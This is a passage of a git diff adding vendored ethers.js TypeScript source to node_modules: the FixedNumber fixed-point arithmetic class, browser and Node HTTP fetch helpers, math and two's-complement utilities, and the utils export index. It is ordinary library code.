"0000"; +while (Zeros.length < 80) { Zeros += Zeros; } + +// Returns a string "1" followed by decimal "0"s +function getTens(decimals: number): bigint { + let result = Zeros; + while (result.length < decimals) { result += result; } + return BigInt("1" + result.substring(0, decimals)); +} + + + + /* + * Returns a new FixedFormat for %%value%%. + * + * If %%value%% is specified as a ``number``, the bit-width is + * 128 bits and %%value%% is used for the ``decimals``. + * + * A string %%value%% may begin with ``fixed`` or ``ufixed`` + * for signed and unsigned respectfully. If no other properties + * are specified, the bit-width is 128-bits with 18 decimals. + * + * To specify the bit-width and demicals, append them separated + * by an ``"x"`` to the %%value%%. + * + * For example, ``ufixed128x18`` describes an unsigned, 128-bit + * wide format with 18 decimals. + * + * If %%value%% is an other object, its properties for ``signed``, + * ``width`` and ``decimals`` are checked. + */ + +/** + * A description of a fixed-point arithmetic field. + * + * When specifying the fixed format, the values override the default of + * a ``fixed128x18``, which implies a signed 128-bit value with 18 + * decimals of precision. + * + * The alias ``fixed`` and ``ufixed`` can be used for ``fixed128x18`` and + * ``ufixed128x18`` respectively. + * + * When a fixed format string begins with a ``u``, it indicates the field + * is unsigned, so any negative values will overflow. The first number + * indicates the bit-width and the second number indicates the decimal + * precision. + * + * When a ``number`` is used for a fixed format, it indicates the number + * of decimal places, and the default width and signed-ness will be used. + * + * The bit-width must be byte aligned and the decimals can be at most 80. + */ +export type FixedFormat = number | string | { + signed?: boolean, + width?: number, + decimals?: number +}; + +function checkValue(val: bigint, format: _FixedFormat, safeOp?: string): bigint { + const width = BigInt(format.width); + if (format.signed) { + const limit = (BN_1 << (width - BN_1)); + assert(safeOp == null || (val >= -limit && val < limit), "overflow", "NUMERIC_FAULT", { + operation: safeOp, fault: "overflow", value: val + }); + + if (val > BN_0) { + val = fromTwos(mask(val, width), width); + } else { + val = -fromTwos(mask(-val, width), width); + } + + } else { + const limit = (BN_1 << width); + assert(safeOp == null || (val >= 0 && val < limit), "overflow", "NUMERIC_FAULT", { + operation: safeOp, fault: "overflow", value: val + }); + val = (((val % limit) + limit) % limit) & (limit - BN_1); + } + + return val; +} + +type _FixedFormat = { signed: boolean, width: number, decimals: number, name: string } + +function getFormat(value?: FixedFormat): _FixedFormat { + if (typeof(value) === "number") { value = `fixed128x${value}` } + + let signed = true; + let width = 128; + let decimals = 18; + + if (typeof(value) === "string") { + // Parse the format string + if (value === "fixed") { + // defaults... + } else if (value === "ufixed") { + signed = false; + } else { + const match = value.match(/^(u?)fixed([0-9]+)x([0-9]+)$/); + assertArgument(match, "invalid fixed format", "format", value); + signed = (match[1] !== "u"); + width = parseInt(match[2]); + decimals = parseInt(match[3]); + } + } else if (value) { + // Extract the values from the object + const v: any = value; + const check = (key: string, type: string, defaultValue: any): any => { + if (v[key] == null) { return defaultValue; } + assertArgument(typeof(v[key]) === type, + "invalid fixed format (" + key + " not " + type +")", "format." + key, v[key]); + return v[key]; + } + signed = check("signed", "boolean", signed); + width = check("width", "number", width); + decimals = check("decimals", "number", decimals); + } + + assertArgument((width % 8) === 0, "invalid FixedNumber width (not byte aligned)", "format.width", width); + assertArgument(decimals <= 80, "invalid FixedNumber decimals (too large)", "format.decimals", decimals); + + const name = (signed ? "": "u") + "fixed" + String(width) + "x" + String(decimals); + + return { signed, width, decimals, name }; +} + +function toString(val: bigint, decimals: number) { + let negative = ""; + if (val < BN_0) { + negative = "-"; + val *= BN_N1; + } + + let str = val.toString(); + + // No decimal point for whole values + if (decimals === 0) { return (negative + str); } + + // Pad out to the whole component (including a whole digit) + while (str.length <= decimals) { str = Zeros + str; } + + // Insert the decimal point + const index = str.length - decimals; + str = str.substring(0, index) + "." + str.substring(index); + + // Trim the whole component (leaving at least one 0) + while (str[0] === "0" && str[1] !== ".") { + str = str.substring(1); + } + + // Trim the decimal component (leaving at least one 0) + while (str[str.length - 1] === "0" && str[str.length - 2] !== ".") { + str = str.substring(0, str.length - 1); + } + + return (negative + str); +} + + +/** + * A FixedNumber represents a value over its [[FixedFormat]] + * arithmetic field. + * + * A FixedNumber can be used to perform math, losslessly, on + * values which have decmial places. + * + * A FixedNumber has a fixed bit-width to store values in, and stores all + * values internally by multiplying the value by 10 raised to the power of + * %%decimals%%. + * + * If operations are performed that cause a value to grow too high (close to + * positive infinity) or too low (close to negative infinity), the value + * is said to //overflow//. + * + * For example, an 8-bit signed value, with 0 decimals may only be within + * the range ``-128`` to ``127``; so ``-128 - 1`` will overflow and become + * ``127``. Likewise, ``127 + 1`` will overflow and become ``-127``. + * + * Many operation have a normal and //unsafe// variant. The normal variant + * will throw a [[NumericFaultError]] on any overflow, while the //unsafe// + * variant will silently allow overflow, corrupting its value value. + * + * If operations are performed that cause a value to become too small + * (close to zero), the value loses precison and is said to //underflow//. + * + * For example, a value with 1 decimal place may store a number as small + * as ``0.1``, but the value of ``0.1 / 2`` is ``0.05``, which cannot fit + * into 1 decimal place, so underflow occurs which means precision is lost + * and the value becomes ``0``. + * + * Some operations have a normal and //signalling// variant. The normal + * variant will silently ignore underflow, while the //signalling// variant + * will thow a [[NumericFaultError]] on underflow. + */ +export class FixedNumber { + + /** + * The specific fixed-point arithmetic field for this value. + */ + readonly format!: string; + + readonly #format: _FixedFormat; + + // The actual value (accounting for decimals) + #val: bigint; + + // A base-10 value to multiple values by to maintain the magnitude + readonly #tens: bigint; + + /** + * This is a property so console.log shows a human-meaningful value. + * + * @private + */ + readonly _value!: string; + + // Use this when changing this file to get some typing info, + // but then switch to any to mask the internal type + //constructor(guard: any, value: bigint, format: _FixedFormat) { + + /** + * @private + */ + constructor(guard: any, value: bigint, format: any) { + assertPrivate(guard, _guard, "FixedNumber"); + + this.#val = value; + + this.#format = format; + + const _value = toString(value, format.decimals); + + defineProperties(this, { format: format.name, _value }); + + this.#tens = getTens(format.decimals); + } + + /** + * If true, negative values are permitted, otherwise only + * positive values and zero are allowed. + */ + get signed(): boolean { return this.#format.signed; } + + /** + * The number of bits available to store the value. + */ + get width(): number { return this.#format.width; } + + /** + * The number of decimal places in the fixed-point arithment field. + */ + get decimals(): number { return this.#format.decimals; } + + /** + * The value as an integer, based on the smallest unit the + * [[decimals]] allow. + */ + get value(): bigint { return this.#val; } + + #checkFormat(other: FixedNumber): void { + assertArgument(this.format === other.format, + "incompatible format; use fixedNumber.toFormat", "other", other); + } + + #checkValue(val: bigint, safeOp?: string): FixedNumber { +/* + const width = BigInt(this.width); + if (this.signed) { + const limit = (BN_1 << (width - BN_1)); + assert(safeOp == null || (val >= -limit && val < limit), "overflow", "NUMERIC_FAULT", { + operation: safeOp, fault: "overflow", value: val + }); + + if (val > BN_0) { + val = fromTwos(mask(val, width), width); + } else { + val = -fromTwos(mask(-val, width), width); + } + + } else { + const masked = mask(val, width); + assert(safeOp == null || (val >= 0 && val === masked), "overflow", "NUMERIC_FAULT", { + operation: safeOp, fault: "overflow", value: val + }); + val = masked; + } +*/ + val = checkValue(val, this.#format, safeOp); + return new FixedNumber(_guard, val, this.#format); + } + + #add(o: FixedNumber, safeOp?: string): FixedNumber { + this.#checkFormat(o); + return this.#checkValue(this.#val + o.#val, safeOp); + } + + /** + * Returns a new [[FixedNumber]] with the result of %%this%% added + * to %%other%%, ignoring overflow. + */ + addUnsafe(other: FixedNumber): FixedNumber { return this.#add(other); } + + /** + * Returns a new [[FixedNumber]] with the result of %%this%% added + * to %%other%%. A [[NumericFaultError]] is thrown if overflow + * occurs. + */ + add(other: FixedNumber): FixedNumber { return this.#add(other, "add"); } + + #sub(o: FixedNumber, safeOp?: string): FixedNumber { + this.#checkFormat(o); + return this.#checkValue(this.#val - o.#val, safeOp); + } + + /** + * Returns a new [[FixedNumber]] with the result of %%other%% subtracted + * from %%this%%, ignoring overflow. + */ + subUnsafe(other: FixedNumber): FixedNumber { return this.#sub(other); } + + /** + * Returns a new [[FixedNumber]] with the result of %%other%% subtracted + * from %%this%%. A [[NumericFaultError]] is thrown if overflow + * occurs. + */ + sub(other: FixedNumber): FixedNumber { return this.#sub(other, "sub"); } + + #mul(o: FixedNumber, safeOp?: string): FixedNumber { + this.#checkFormat(o); + return this.#checkValue((this.#val * o.#val) / this.#tens, safeOp); + } + + /** + * Returns a new [[FixedNumber]] with the result of %%this%% multiplied + * by %%other%%, ignoring overflow and underflow (precision loss). + */ + mulUnsafe(other: FixedNumber): FixedNumber { return this.#mul(other); } + + /** + * Returns a new [[FixedNumber]] with the result of %%this%% multiplied + * by %%other%%. A [[NumericFaultError]] is thrown if overflow + * occurs. + */ + mul(other: FixedNumber): FixedNumber { return this.#mul(other, "mul"); } + + /** + * Returns a new [[FixedNumber]] with the result of %%this%% multiplied + * by %%other%%. A [[NumericFaultError]] is thrown if overflow + * occurs or if underflow (precision loss) occurs. + */ + mulSignal(other: FixedNumber): FixedNumber { + this.#checkFormat(other); + const value = this.#val * other.#val; + assert((value % this.#tens) === BN_0, "precision lost during signalling mul", "NUMERIC_FAULT", { + operation: "mulSignal", fault: "underflow", value: this + }); + return this.#checkValue(value / this.#tens, "mulSignal"); + } + + #div(o: FixedNumber, safeOp?: string): FixedNumber { + assert(o.#val !== BN_0, "division by zero", "NUMERIC_FAULT", { + operation: "div", fault: "divide-by-zero", value: this + }); + this.#checkFormat(o); + return this.#checkValue((this.#val * this.#tens) / o.#val, safeOp); + } + + /** + * Returns a new [[FixedNumber]] with the result of %%this%% divided + * by %%other%%, ignoring underflow (precision loss). A + * [[NumericFaultError]] is thrown if overflow occurs. + */ + divUnsafe(other: FixedNumber): FixedNumber { return this.#div(other); } + + /** + * Returns a new [[FixedNumber]] with the result of %%this%% divided + * by %%other%%, ignoring underflow (precision loss). A + * [[NumericFaultError]] is thrown if overflow occurs. + */ + div(other: FixedNumber): FixedNumber { return this.#div(other, "div"); } + + + /** + * Returns a new [[FixedNumber]] with the result of %%this%% divided + * by %%other%%. A [[NumericFaultError]] is thrown if underflow + * (precision loss) occurs. + */ + divSignal(other: FixedNumber): FixedNumber { + assert(other.#val !== BN_0, "division by zero", "NUMERIC_FAULT", { + operation: "div", fault: "divide-by-zero", value: this + }); + this.#checkFormat(other); + const value = (this.#val * this.#tens); + assert((value % other.#val) === BN_0, "precision lost during signalling div", "NUMERIC_FAULT", { + operation: "divSignal", fault: "underflow", value: this + }); + return this.#checkValue(value / other.#val, "divSignal"); + } + + /** + * Returns a comparison result between %%this%% and %%other%%. + * + * This is suitable for use in sorting, where ``-1`` implies %%this%% + * is smaller, ``1`` implies %%this%% is larger and ``0`` implies + * both are equal. + */ + cmp(other: FixedNumber): number { + let a = this.value, b = other.value; + + // Coerce a and b to the same magnitude + const delta = this.decimals - other.decimals; + if (delta > 0) { + b *= getTens(delta); + } else if (delta < 0) { + a *= getTens(-delta); + } + + // Comnpare + if (a < b) { return -1; } + if (a > b) { return 1; } + return 0; + } + + /** + * Returns true if %%other%% is equal to %%this%%. + */ + eq(other: FixedNumber): boolean { return this.cmp(other) === 0; } + + /** + * Returns true if %%other%% is less than to %%this%%. + */ + lt(other: FixedNumber): boolean { return this.cmp(other) < 0; } + + /** + * Returns true if %%other%% is less than or equal to %%this%%. + */ + lte(other: FixedNumber): boolean { return this.cmp(other) <= 0; } + + /** + * Returns true if %%other%% is greater than to %%this%%. + */ + gt(other: FixedNumber): boolean { return this.cmp(other) > 0; } + + /** + * Returns true if %%other%% is greater than or equal to %%this%%. + */ + gte(other: FixedNumber): boolean { return this.cmp(other) >= 0; } + + /** + * Returns a new [[FixedNumber]] which is the largest **integer** + * that is less than or equal to %%this%%. + * + * The decimal component of the result will always be ``0``. + */ + floor(): FixedNumber { + let val = this.#val; + if (this.#val < BN_0) { val -= this.#tens - BN_1; } + val = (this.#val / this.#tens) * this.#tens; + return this.#checkValue(val, "floor"); + } + + /** + * Returns a new [[FixedNumber]] which is the smallest **integer** + * that is greater than or equal to %%this%%. + * + * The decimal component of the result will always be ``0``. + */ + ceiling(): FixedNumber { + let val = this.#val; + if (this.#val > BN_0) { val += this.#tens - BN_1; } + val = (this.#val / this.#tens) * this.#tens; + return this.#checkValue(val, "ceiling"); + } + + /** + * Returns a new [[FixedNumber]] with the decimal component + * rounded up on ties at %%decimals%% places. + */ + round(decimals?: number): FixedNumber { + if (decimals == null) { decimals = 0; } + + // Not enough precision to not already be rounded + if (decimals >= this.decimals) { return this; } + + const delta = this.decimals - decimals; + const bump = BN_5 * getTens(delta - 1); + + let value = this.value + bump; + const tens = getTens(delta); + value = (value / tens) * tens; + + checkValue(value, this.#format, "round"); + + return new FixedNumber(_guard, value, this.#format); + } + + /** + * Returns true if %%this%% is equal to ``0``. + */ + isZero(): boolean { return (this.#val === BN_0); } + + /** + * Returns true if %%this%% is less than ``0``. + */ + isNegative(): boolean { return (this.#val < BN_0); } + + /** + * Returns the string representation of %%this%%. + */ + toString(): string { return this._value; } + + /** + * Returns a float approximation. + * + * Due to IEEE 754 precission (or lack thereof), this function + * can only return an approximation and most values will contain + * rounding errors. + */ + toUnsafeFloat(): number { return parseFloat(this.toString()); } + + /** + * Return a new [[FixedNumber]] with the same value but has had + * its field set to %%format%%. + * + * This will throw if the value cannot fit into %%format%%. + */ + toFormat(format: FixedFormat): FixedNumber { + return FixedNumber.fromString(this.toString(), format); + } + + /** + * Creates a new [[FixedNumber]] for %%value%% divided by + * %%decimal%% places with %%format%%. + * + * This will throw a [[NumericFaultError]] if %%value%% (once adjusted + * for %%decimals%%) cannot fit in %%format%%, either due to overflow + * or underflow (precision loss). + */ + static fromValue(_value: BigNumberish, _decimals?: Numeric, _format?: FixedFormat): FixedNumber { + const decimals = (_decimals == null) ? 0: getNumber(_decimals); + const format = getFormat(_format); + + let value = getBigInt(_value, "value"); + const delta = decimals - format.decimals; + if (delta > 0) { + const tens = getTens(delta); + assert((value % tens) === BN_0, "value loses precision for format", "NUMERIC_FAULT", { + operation: "fromValue", fault: "underflow", value: _value + }); + value /= tens; + } else if (delta < 0) { + value *= getTens(-delta); + } + + checkValue(value, format, "fromValue"); + + return new FixedNumber(_guard, value, format); + } + + /** + * Creates a new [[FixedNumber]] for %%value%% with %%format%%. + * + * This will throw a [[NumericFaultError]] if %%value%% cannot fit + * in %%format%%, either due to overflow or underflow (precision loss). + */ + static fromString(_value: string, _format?: FixedFormat): FixedNumber { + const match = _value.match(/^(-?)([0-9]*)\.?([0-9]*)$/); + assertArgument(match && (match[2].length + match[3].length) > 0, "invalid FixedNumber string value", "value", _value); + + const format = getFormat(_format); + + let whole = (match[2] || "0"), decimal = (match[3] || ""); + + // Pad out the decimals + while (decimal.length < format.decimals) { decimal += Zeros; } + + // Check precision is safe + assert(decimal.substring(format.decimals).match(/^0*$/), "too many decimals for format", "NUMERIC_FAULT", { + operation: "fromString", fault: "underflow", value: _value + }); + + // Remove extra padding + decimal = decimal.substring(0, format.decimals); + + const value = BigInt(match[1] + whole + decimal) + + checkValue(value, format, "fromString"); + + return new FixedNumber(_guard, value, format); + } + + /** + * Creates a new [[FixedNumber]] with the big-endian representation + * %%value%% with %%format%%. + * + * This will throw a [[NumericFaultError]] if %%value%% cannot fit + * in %%format%% due to overflow. + */ + static fromBytes(_value: BytesLike, _format?: FixedFormat): FixedNumber { + let value = toBigInt(getBytes(_value, "value")); + const format = getFormat(_format); + + if (format.signed) { value = fromTwos(value, format.width); } + + checkValue(value, format, "fromBytes"); + + return new FixedNumber(_guard, value, format); + } +} + +//const f1 = FixedNumber.fromString("12.56", "fixed16x2"); +//const f2 = FixedNumber.fromString("0.3", "fixed16x2"); +//console.log(f1.divSignal(f2)); +//const BUMP = FixedNumber.from("0.5"); diff --git a/node_modules/ethers/src.ts/utils/geturl-browser.ts b/node_modules/ethers/src.ts/utils/geturl-browser.ts new file mode 100644 index 000000000000..af7efc3ab52d --- /dev/null +++ b/node_modules/ethers/src.ts/utils/geturl-browser.ts @@ -0,0 +1,81 @@ +import { assert, makeError } from "./errors.js"; + +import type { + FetchGetUrlFunc, FetchRequest, FetchCancelSignal, GetUrlResponse +} from "./fetch.js"; + +export function createGetUrl(options?: Record): FetchGetUrlFunc { + + async function getUrl(req: FetchRequest, _signal?: FetchCancelSignal): Promise { + assert(_signal == null || !_signal.cancelled, "request cancelled before sending", "CANCELLED"); + + const protocol = req.url.split(":")[0].toLowerCase(); + + assert(protocol === "http" || protocol === "https", `unsupported protocol ${ protocol }`, "UNSUPPORTED_OPERATION", { + info: { protocol }, + operation: "request" + }); + + assert(protocol === "https" || !req.credentials || req.allowInsecureAuthentication, "insecure authorized connections unsupported", "UNSUPPORTED_OPERATION", { + operation: "request" + }); + + let error: null | Error = null; + + const controller = new AbortController(); + + const timer = setTimeout(() => { + error = makeError("request timeout", "TIMEOUT"); + controller.abort(); + }, req.timeout); + + if (_signal) { + _signal.addListener(() => { + error = makeError("request cancelled", "CANCELLED"); + controller.abort(); + }); + } + + const init = Object.assign({ }, options, { + method: req.method, + headers: new Headers(Array.from(req)), + body: req.body || undefined, + signal: controller.signal + }); + + let resp: Awaited>; + try { + resp = await fetch(req.url, init); + } catch (_error) { + clearTimeout(timer); + if (error) { throw error; } + throw _error; + } + + clearTimeout(timer); + + const headers: Record = { }; + resp.headers.forEach((value, key) => { + headers[key.toLowerCase()] = value; + }); + + const respBody = await resp.arrayBuffer(); + const body = (respBody == null) ? null: new Uint8Array(respBody); + + return { + statusCode: resp.status, + statusMessage: resp.statusText, + headers, body + }; + } + + return getUrl; +} + +// @TODO: remove in v7; provided for backwards compat +const defaultGetUrl: FetchGetUrlFunc = createGetUrl({ }); + +export async function getUrl(req: FetchRequest, _signal?: FetchCancelSignal): Promise { + return defaultGetUrl(req, _signal); +} + diff --git a/node_modules/ethers/src.ts/utils/geturl.ts b/node_modules/ethers/src.ts/utils/geturl.ts new file mode 100644 index 000000000000..fa3cb5240508 --- /dev/null +++ b/node_modules/ethers/src.ts/utils/geturl.ts @@ -0,0 +1,141 @@ +import http from "http"; +import https from "https"; +import { gunzipSync } from "zlib"; + +import { assert, makeError } from "./errors.js"; +import { getBytes } from "./data.js"; + +import type { + FetchGetUrlFunc, FetchRequest, FetchCancelSignal, GetUrlResponse +} from "./fetch.js"; + +/** + * @_ignore: + */ +export function createGetUrl(options?: Record): FetchGetUrlFunc { + + async function getUrl(req: FetchRequest, signal?: FetchCancelSignal): Promise { + // Make sure we weren't cancelled before sending + assert(signal == null || !signal.cancelled, "request cancelled before sending", "CANCELLED"); + + const protocol = req.url.split(":")[0].toLowerCase(); + + assert(protocol === "http" || protocol === "https", `unsupported protocol ${ protocol }`, "UNSUPPORTED_OPERATION", { + info: { protocol }, + operation: "request" + }); + + assert(protocol === "https" || !req.credentials || req.allowInsecureAuthentication, "insecure authorized connections unsupported", "UNSUPPORTED_OPERATION", { + operation: "request" + }); + + const method = req.method; + const headers = Object.assign({ }, req.headers); + + const reqOptions: any = { method, headers }; + if (options) { + if (options.agent) { reqOptions.agent = options.agent; } + } + + // Create a Node-specific AbortController, if available + let abort: null | AbortController = null; + try { + abort = new AbortController(); + reqOptions.abort = abort.signal; + } catch (e) { console.log(e); } + + const request = ((protocol === "http") ? http: https).request(req.url, reqOptions); + + request.setTimeout(req.timeout); + + const body = req.body; + if (body) { request.write(Buffer.from(body)); } + + request.end(); + + return new Promise((resolve, reject) => { + + if (signal) { + signal.addListener(() => { + if (abort) { abort.abort(); } + reject(makeError("request cancelled", "CANCELLED")); + }); + } + + request.on("timeout", () => { + reject(makeError("request timeout", "TIMEOUT")); + }); + + request.once("response", (resp: http.IncomingMessage) => { + const statusCode = resp.statusCode || 0; + const statusMessage = resp.statusMessage || ""; + const headers = Object.keys(resp.headers || {}).reduce((accum, name) => { + let value = resp.headers[name] || ""; + if (Array.isArray(value)) { + value = value.join(", "); + } + accum[name] = value; + return accum; + }, <{ [ name: string ]: string }>{ }); + + let body: null | Uint8Array = null; + //resp.setEncoding("utf8"); + + resp.on("data", (chunk: Uint8Array) => { + if (signal) { + try { + signal.checkSignal(); + } catch (error) { + return reject(error); + } + } + + if (body == null) { + body = chunk; + } else { + const newBody = new Uint8Array(body.length + chunk.length); + newBody.set(body, 0); + newBody.set(chunk, body.length); + body = newBody; + } + }); + + resp.on("end", () => { + try { + if (headers["content-encoding"] === "gzip" && body) { + body = getBytes(gunzipSync(body)); + } + + resolve({ statusCode, statusMessage, headers, body }); + + } catch (error) { + reject(makeError("bad response data", "SERVER_ERROR", { + request: req, info: { response: resp, error } + })); + } + }); + + resp.on("error", (error) => { + //@TODO: Should this just return nornal response with a server error? + (error).response = { statusCode, statusMessage, headers, body }; + reject(error); + }); + }); + + request.on("error", (error) => { reject(error); }); + }); + } + + return getUrl; +} + +// @TODO: remove in v7; provided for backwards compat +const defaultGetUrl: FetchGetUrlFunc = createGetUrl({ }); + +/** + * @_ignore: + */ +export async function getUrl(req: FetchRequest, signal?: FetchCancelSignal): Promise { + return defaultGetUrl(req, signal); +} + diff --git a/node_modules/ethers/src.ts/utils/index.ts b/node_modules/ethers/src.ts/utils/index.ts new file mode 100644 index 000000000000..888093488532 --- /dev/null +++ b/node_modules/ethers/src.ts/utils/index.ts @@ -0,0 +1,95 @@ +/** + * There are many simple utilities required to interact with + * Ethereum and to simplify the library, without increasing + * the library dependencies for simple functions. + * + * @_section api/utils:Utilities [about-utils] + */ + +export { decodeBase58, encodeBase58 } from "./base58.js"; + +export { decodeBase64, encodeBase64 } from "./base64.js"; + +export { + getBytes, getBytesCopy, isHexString, isBytesLike, hexlify, concat, dataLength, dataSlice, + stripZerosLeft, zeroPadValue, zeroPadBytes +} from "./data.js"; + +export { + isCallException, isError, + assert, assertArgument, assertArgumentCount, assertPrivate, assertNormalize, makeError +} from "./errors.js" + +export { EventPayload } from "./events.js"; + +export { + FetchRequest, FetchResponse, FetchCancelSignal, +} from "./fetch.js"; + +export { FixedNumber } from "./fixednumber.js" + +export { + fromTwos, toTwos, mask, + getBigInt, getNumber, getUint, toBigInt, toNumber, toBeHex, toBeArray, toQuantity +} from "./maths.js"; + +export { resolveProperties, defineProperties} from "./properties.js"; + +export { decodeRlp } from "./rlp-decode.js"; +export { encodeRlp } from "./rlp-encode.js"; + +export { formatEther, parseEther, formatUnits, parseUnits } from "./units.js"; + +export { + toUtf8Bytes, + toUtf8CodePoints, + toUtf8String, + + Utf8ErrorFuncs, +} from "./utf8.js"; + +export { uuidV4 } from "./uuid.js"; + +///////////////////////////// +// Types + +export type { BytesLike } from "./data.js"; + +export type { + + //ErrorFetchRequestWithBody, ErrorFetchRequest, + //ErrorFetchResponseWithBody, ErrorFetchResponse, + + ErrorCode, + + EthersError, UnknownError, NotImplementedError, UnsupportedOperationError, NetworkError, + ServerError, TimeoutError, BadDataError, CancelledError, BufferOverrunError, + NumericFaultError, InvalidArgumentError, MissingArgumentError, UnexpectedArgumentError, + CallExceptionError, InsufficientFundsError, NonceExpiredError, OffchainFaultError, + ReplacementUnderpricedError, TransactionReplacedError, UnconfiguredNameError, + ActionRejectedError, + + CallExceptionAction, CallExceptionTransaction, + + CodedEthersError +} from "./errors.js" + +export type { EventEmitterable, Listener } from "./events.js"; + +export type { + GetUrlResponse, + FetchPreflightFunc, FetchProcessFunc, FetchRetryFunc, + FetchGatewayFunc, FetchGetUrlFunc +} from "./fetch.js"; + +export type { FixedFormat } from "./fixednumber.js" + +export type { BigNumberish, Numeric } from "./maths.js"; + +export type { RlpStructuredData, RlpStructuredDataish } from "./rlp.js"; + +export type { + Utf8ErrorFunc, + UnicodeNormalizationForm, + Utf8ErrorReason +} from "./utf8.js"; diff --git a/node_modules/ethers/src.ts/utils/maths.ts b/node_modules/ethers/src.ts/utils/maths.ts new file mode 100644 index 000000000000..0200c27a3bf2 --- /dev/null +++ b/node_modules/ethers/src.ts/utils/maths.ts @@ -0,0 +1,240 @@ +/** + * Some mathematic operations. + * + * @_subsection: api/utils:Math Helpers [about-maths] + */ +import { hexlify, isBytesLike } from "./data.js"; +import { assert, assertArgument } from "./errors.js"; + +import type { BytesLike } from "./data.js"; + +/** + * Any type that can be used where a numeric value is needed. + */ +export type Numeric = number | bigint; + +/** + * Any type that can be used where a big number is needed. + */ +export type BigNumberish = string | Numeric; + + +const BN_0 = BigInt(0); +const BN_1 = BigInt(1); + +//const BN_Max256 = (BN_1 << BigInt(256)) - BN_1; + + +// IEEE 754 support 53-bits of mantissa +const maxValue = 0x1fffffffffffff; + +/** + * Convert %%value%% from a twos-compliment representation of %%width%% + * bits to its value. + * + * If the highest bit is ``1``, the result will be negative. + */ +export function fromTwos(_value: BigNumberish, _width: Numeric): bigint { + const value = getUint(_value, "value"); + const width = BigInt(getNumber(_width, "width")); + + assert((value >> width) === BN_0, "overflow", "NUMERIC_FAULT", { + operation: "fromTwos", fault: "overflow", value: _value + }); + + // Top bit set; treat as a negative value + if (value >> (width - BN_1)) { + const mask = (BN_1 << width) - BN_1; + return -(((~value) & mask) + BN_1); + } + + return value; +} + +/** + * Convert %%value%% to a twos-compliment representation of + * %%width%% bits. + * + * The result will always be positive. + */ +export function toTwos(_value: BigNumberish, _width: Numeric): bigint { + let value = getBigInt(_value, "value"); + const width = BigInt(getNumber(_width, "width")); + + const limit = (BN_1 << (width - BN_1)); + + if (value < BN_0) { + value = -value; + assert(value <= limit, "too low", "NUMERIC_FAULT", { + operation: "toTwos", fault: "overflow", value: _value + }); + const mask = (BN_1 << width) - BN_1; + return ((~value) & mask) + BN_1; + } else { + assert(value < limit, "too high", "NUMERIC_FAULT", { + operation: "toTwos", fault: "overflow", value: _value + }); + } + + return value; +} + +/** + * Mask %%value%% with a bitmask of %%bits%% ones. + */ +export function mask(_value: BigNumberish, _bits: Numeric): bigint { + const value = getUint(_value, "value"); + const bits = BigInt(getNumber(_bits, "bits")); + return value & ((BN_1 << bits) - BN_1); +} + +/** + * Gets a BigInt from %%value%%. If it is an invalid value for + * a BigInt, then an ArgumentError will be thrown for %%name%%. + */ +export function getBigInt(value: BigNumberish, name?: string): bigint { + switch (typeof(value)) { + case "bigint": return value; + case "number": + assertArgument(Number.isInteger(value), "underflow", name || "value", value); + assertArgument(value >= -maxValue && value <= maxValue, "overflow", name || "value", value); + return BigInt(value); + case "string": + try { + if (value === "") { throw new Error("empty string"); } + if (value[0] === "-" && value[1] !== "-") { + return -BigInt(value.substring(1)); + } + return BigInt(value); + } catch(e: any) { + assertArgument(false, `invalid BigNumberish string: ${ e.message }`, name || "value", value); + } + } + assertArgument(false, "invalid BigNumberish value", name || "value", value); +} + +/** + * Returns %%value%% as a bigint, validating it is valid as a bigint + * value and that it is positive. + */ +export function getUint(value: BigNumberish, name?: string): bigint { + const result = getBigInt(value, name); + assert(result >= BN_0, "unsigned value cannot be negative", "NUMERIC_FAULT", { + fault: "overflow", operation: "getUint", value + }); + return result; +} + +const Nibbles = "0123456789abcdef"; + +/* + * Converts %%value%% to a BigInt. If %%value%% is a Uint8Array, it + * is treated as Big Endian data. + */ +export function toBigInt(value: BigNumberish | Uint8Array): bigint { + if (value instanceof Uint8Array) { + let result = "0x0"; + for (const v of value) { + result += Nibbles[v >> 4]; + result += Nibbles[v & 0x0f]; + } + return BigInt(result); + } + + return getBigInt(value); +} + +/** + * Gets a //number// from %%value%%. If it is an invalid value for + * a //number//, then an ArgumentError will be thrown for %%name%%. + */ +export function getNumber(value: BigNumberish, name?: string): number { + switch (typeof(value)) { + case "bigint": + assertArgument(value >= -maxValue && value <= maxValue, "overflow", name || "value", value); + return Number(value); + case "number": + assertArgument(Number.isInteger(value), "underflow", name || "value", value); + assertArgument(value >= -maxValue && value <= maxValue, "overflow", name || "value", value); + return value; + case "string": + try { + if (value === "") { throw new Error("empty string"); } + return getNumber(BigInt(value), name); + } catch(e: any) { + assertArgument(false, `invalid numeric string: ${ e.message }`, name || "value", value); + } + } + assertArgument(false, "invalid numeric value", name || "value", value); +} + + +/** + * Converts %%value%% to a number. If %%value%% is a Uint8Array, it + * is treated as Big Endian data. Throws if the value is not safe. + */ +export function toNumber(value: BigNumberish | Uint8Array): number { + return getNumber(toBigInt(value)); +} + +/** + * Converts %%value%% to a Big Endian hexstring, optionally padded to + * %%width%% bytes. + */ +export function toBeHex(_value: BigNumberish, _width?: Numeric): string { + const value = getUint(_value, "value"); + + let result = value.toString(16); + + if (_width == null) { + // Ensure the value is of even length + if (result.length % 2) { result = "0" + result; } + } else { + const width = getNumber(_width, "width"); + assert(width * 2 >= result.length, `value exceeds width (${ width } bytes)`, "NUMERIC_FAULT", { + operation: "toBeHex", + fault: "overflow", + value: _value + }); + + // Pad the value to the required width + while (result.length < (width * 2)) { result = "0" + result; } + + } + + return "0x" + result; +} + +/** + * Converts %%value%% to a Big Endian Uint8Array. + */ +export function toBeArray(_value: BigNumberish): Uint8Array { + const value = getUint(_value, "value"); + + if (value === BN_0) { return new Uint8Array([ ]); } + + let hex = value.toString(16); + if (hex.length % 2) { hex = "0" + hex; } + + const result = new Uint8Array(hex.length / 2); + for (let i = 0; i < result.length; i++) { + const offset = i * 2; + result[i] = parseInt(hex.substring(offset, offset + 2), 16); + } + + return result; +} + +/** + * Returns a [[HexString]] for %%value%% safe to use as a //Quantity//. + * + * A //Quantity// does not have and leading 0 values unless the value is + * the literal value `0x0`. This is most commonly used for JSSON-RPC + * numeric values. + */ +export function toQuantity(value: BytesLike | BigNumberish): string { + let result = hexlify(isBytesLike(value) ? value: toBeArray(value)).substring(2); + while (result.startsWith("0")) { result = result.substring(1); } + if (result === "") { result = "0"; } + return "0x" + result; +} diff --git a/node_modules/ethers/src.ts/utils/properties.ts b/node_modules/ethers/src.ts/utils/properties.ts new file mode 100644 index 000000000000..60c2541e86e4 --- /dev/null +++ b/node_modules/ethers/src.ts/utils/properties.ts @@ -0,0 +1,60 @@ +/** + * Property helper functions. + * + * @_subsection api/utils:Properties [about-properties] + */ + +function checkType(value: any, type: string, name: string): void { + 